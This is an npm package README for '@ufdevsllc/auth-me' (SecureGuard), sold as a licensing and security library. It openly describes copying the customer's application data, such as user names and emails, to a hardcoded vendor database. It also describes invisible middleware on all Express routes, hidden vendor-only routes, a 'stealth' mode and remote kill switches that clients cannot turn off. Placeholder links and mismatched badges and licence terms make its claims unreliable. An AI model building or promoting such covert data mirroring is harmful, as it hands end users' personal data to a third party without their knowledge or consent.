@ufdevsllc/auth-me
Version:
Comprehensive licensing, security monitoring, and data mirroring package with hardcoded vendor-controlled database connection
372 lines (289 loc) โข 11.5 kB
Markdown
# SecureGuard
[](https://badge.fury.io/js/%40your-org%2Fsecure-guard)
[](https://opensource.org/licenses/MIT)
[](https://github.com/ufdevs/secure-guard/actions)
[](https://coveralls.io/github/ufdevs/secure-guard?branch=main)
Enterprise-grade license validation and security package with comprehensive offline support, usage tracking, and advanced security features.
## ๐ Features
### Core Features
- **License Validation**: Secure license key validation with environment binding
- **Offline Mode**: Cached validation with graceful degradation
- **Usage Tracking**: Comprehensive usage monitoring and limit enforcement
- **Data Mirroring**: Automatic data synchronization to secure databases
- **Security Hardening**: Tamper detection, code obfuscation, and integrity checks
- **Deployment Monitoring**: Track and validate deployment environments
- **Error Handling**: Robust error handling with retry mechanisms
- **Logging**: Comprehensive security event logging
### ๐ Backend Protection Enhancement Features
- **๐ Selective Model Data Cloning**: Automatically clone specific Mongoose models to secure database
- **๐ Express.js Universal Monitoring**: Invisible middleware injection for complete API monitoring
- **๐ Resale Chain Tracking**: Track multi-level software resale chains (AโBโCโDโE...)
- **๐ Hardcoded MongoDB URL Protection**: Multi-layer encrypted, tamper-proof database connections
- **๐๏ธ Hidden Monitoring Routes**: Vendor-only access to deployment and usage data
- **๐ซ Remote Source ID Blocking**: Instantly disable deployments when misuse is detected
- **๐ต๏ธ Stealth Operation Mode**: Complete invisibility of monitoring operations
## ๐ฆ Installation
```bash
npm install @ufdevsllc/auth-me
```
## ๐โโ๏ธ Quick Start
```javascript
const { SecureGuard } = require('@ufdevsllc/auth-me');
// Initialize SecureGuard with minimal configuration
// Database connection is hardcoded and managed by vendor
await SecureGuard.init({
licenseKey: 'your-license-key-here',
schemas: [userSchema, productSchema] // Your Mongoose schemas
});
// The system automatically:
// - Validates license against vendor's secure database
// - Monitors all Express routes invisibly
// - Mirrors your data to vendor's secure database
// - Tracks usage and enforces limits
// - Detects tampering and unauthorized usage
```
### ๐ Backend Protection Enhancement Quick Start
```javascript
const express = require('express');
const { SecureGuard } = require('@ufdevsllc/auth-me');
const app = express();
// Initialize SecureGuard with enhanced features
const secureGuard = new SecureGuard({
licenseKey: 'your-license-key-here'
});
async function startEnhancedApp() {
// STEP 1: Initialize SecureGuard (enables all monitoring automatically)
// Database connection is hardcoded - client cannot change it
await SecureGuard.init({
licenseKey: 'your-license-key-here',
schemas: [userSchema, productSchema]
});
// STEP 2: Clone specific models for monitoring (optional)
await SecureGuard.cloneModelData('User');
await SecureGuard.cloneModelData('Product');
// STEP 3: Define your routes (all automatically monitored invisibly)
app.get('/api/users', (req, res) => res.json([]));
app.post('/api/users', (req, res) => res.json({ created: true }));
// STEP 4: Start server - monitoring is now active
app.listen(3000, () => {
console.log('๐ Server started with SecureGuard protection');
console.log('๐ All routes monitored invisibly');
console.log('๐ Model data cloning active');
console.log('๐ Database connection is vendor-controlled');
});
}
startEnhancedApp();
```
## ๐ง Configuration
### Basic Configuration
```javascript
// Minimal client configuration - all security settings are vendor-controlled
const config = {
licenseKey: 'your-license-key',
schemas: [userSchema, productSchema] // Your Mongoose schemas
};
// Database connection, security settings, and monitoring options
// are hardcoded by the vendor and cannot be changed by clients
await SecureGuard.init(config);
```
### Environment Variables
```bash
# Only license key can be set via environment variable
SECURE_GUARD_LICENSE=your-license-key-here
# Database connection and all other settings are hardcoded by vendor
# Clients cannot override: MONGODB_URI, security settings, or monitoring options
```
## ๐ก Usage Examples
### Express.js Middleware
```javascript
const express = require('express');
const { SecureGuard } = require('@ufdevsllc/auth-me');
const app = express();
const secureGuard = new SecureGuard({
licenseKey: process.env.SECURE_GUARD_LICENSE
});
// Middleware for license validation
app.use(async (req, res, next) => {
try {
const validation = await secureGuard.validateLicense();
if (!validation.isValid) {
return res.status(403).json({ error: 'License validation failed' });
}
await secureGuard.trackUsage('api_request', {
endpoint: req.path,
method: req.method
});
next();
} catch (error) {
res.status(500).json({ error: 'Security validation failed' });
}
});
```
### Database Integration
```javascript
const mongoose = require('mongoose');
// Register schema for automatic mirroring
const userSchema = new mongoose.Schema({
name: String,
email: String
});
await secureGuard.registerSchema({
schema: userSchema,
modelName: 'User',
mirrorWrites: true
});
// Data automatically mirrored to secure database
const User = mongoose.model('User', userSchema);
const user = new User({ name: 'John', email: 'john@example.com' });
await user.save();
```
### Usage Tracking
```javascript
// Track different types of usage
await secureGuard.trackUsage('user_login', { userId: 'user123' });
await secureGuard.trackUsage('data_export', { recordCount: 1000 });
await secureGuard.trackUsage('api_call', { endpoint: '/users' });
// Check usage statistics
const stats = secureGuard.getUsageStats();
console.log('Total writes:', stats.totalWrites);
console.log('Remaining writes:', stats.writesRemaining);
// Verify within limits
if (!secureGuard.isWithinLimits()) {
console.warn('Usage limits exceeded');
}
```
## ๐ Offline Mode
SecureGuard provides robust offline functionality with cached license validation:
```javascript
// Check offline status
const offlineStatus = secureGuard.getOfflineStatus();
console.log('Offline mode:', offlineStatus.isOfflineMode);
console.log('Cached licenses:', offlineStatus.cachedLicenses);
// Validate license (works offline)
const validation = await secureGuard.validateLicense();
if (validation.isOfflineValidation) {
console.log('Using cached license validation');
}
// Clean expired cache
const removedCount = await secureGuard.cleanExpiredCache();
```
### Graceful Degradation
When network connectivity is unavailable, SecureGuard automatically:
- Uses cached license validation
- Applies reduced usage limits
- Queues data for later synchronization
- Provides degraded mode status
## ๐ Security Features
### Tamper Detection
```javascript
// Enable tamper detection
const secureGuard = new SecureGuard({
licenseKey: 'your-key',
security: {
enableTamperDetection: true,
tamperDetectionLevel: 'strict'
}
});
// Handle tamper detection
secureGuard.on('tamper-detected', (event) => {
console.error('Security violation detected:', event);
// Implement security response
});
```
### Environment Binding
```javascript
// Generate environment fingerprint
const fingerprint = secureGuard.generateEnvironmentFingerprint();
// Validate license for specific environment
const validation = await secureGuard.validateLicense(fingerprint);
if (validation.code === 'ENVIRONMENT_MISMATCH') {
console.error('License not authorized for this environment');
}
```
## ๐ Monitoring and Events
```javascript
// Listen for important events
secureGuard.on('license-validation-failed', (event) => {
console.error('License validation failed:', event);
});
secureGuard.on('usage-limit-exceeded', (event) => {
console.warn('Usage limit exceeded:', event);
});
secureGuard.on('offline-mode-entered', (event) => {
console.info('Entered offline mode:', event.reason);
});
secureGuard.on('degraded-mode-entered', (event) => {
console.warn('Operating in degraded mode:', event.reason);
});
```
## ๐งช Testing
```bash
# Run all tests
npm test
# Run specific test suites
npm test -- --testPathPattern="LicenseValidator"
npm test -- --testPathPattern="OfflineManager"
# Run tests with coverage
npm run test:coverage
```
## ๐ Documentation
### Core Documentation
- **[User Integration Guide](USER_INTEGRATION_GUIDE.md)** - Comprehensive integration guide
- **[Publishing Guide](PUBLISHING_GUIDE.md)** - How to publish and distribute
- **[API Documentation](API_DOCUMENTATION.md)** - Complete API reference with new features
- **[Examples Repository](https://github.com/your-org/secure-guard-examples)** - Usage examples
### ๐ Backend Protection Enhancement Documentation
- **[Vendor Integration Guide](VENDOR_INTEGRATION_GUIDE.md)** - Complete vendor guide for monitoring and management
- **[Examples and Integration Patterns](EXAMPLES_AND_INTEGRATION.md)** - Practical examples for all new features
- **[Remote Blocking System Guide](REMOTE_BLOCKING_SYSTEM_GUIDE.md)** - Source ID blocking and management
- **[Security Hardening Enhancement Summary](SECURITY_HARDENING_ENHANCEMENT_SUMMARY.md)** - Security features overview
## ๐ง Development
### Setup
```bash
git clone https://github.com/your-org/secure-guard.git
cd secure-guard
npm install
```
### Build
```bash
npm run build
```
### Testing
```bash
npm test
npm run test:watch
npm run test:coverage
```
## ๐ Requirements
- Node.js 14+
- MongoDB (for secure database features)
- Valid license key from vendor
## ๐ค Contributing
We welcome contributions! Please see our [Contributing Guide](CONTRIBUTING.md) for details.
1. Fork the repository
2. Create your feature branch (`git checkout -b feature/amazing-feature`)
3. Commit your changes (`git commit -m 'Add amazing feature'`)
4. Push to the branch (`git push origin feature/amazing-feature`)
5. Open a Pull Request
## ๐ License
This project is licensed under the MIT License - see the [LICENSE](LICENSE) file for details.
## ๐ Support
- **GitHub Issues**: [Report bugs or request features](https://github.com/your-org/secure-guard/issues)
- **Documentation**: [Full documentation site](https://your-org.github.io/secure-guard)
- **Email**: support@your-org.com
- **Discord**: [Join our community](https://discord.gg/your-server)
## ๐ Enterprise Support
For enterprise customers, we offer:
- Priority support
- Custom integrations
- On-site training
- SLA guarantees
Contact enterprise@your-org.com for more information.
## ๐ Changelog
See [CHANGELOG.md](CHANGELOG.md) for a list of changes and version history.
## ๐ Acknowledgments
- Thanks to all contributors who have helped build SecureGuard
- Special thanks to the security research community
- Built with โค๏ธ by the SecureGuard team
---
**Made with โค๏ธ for secure applications everywhere**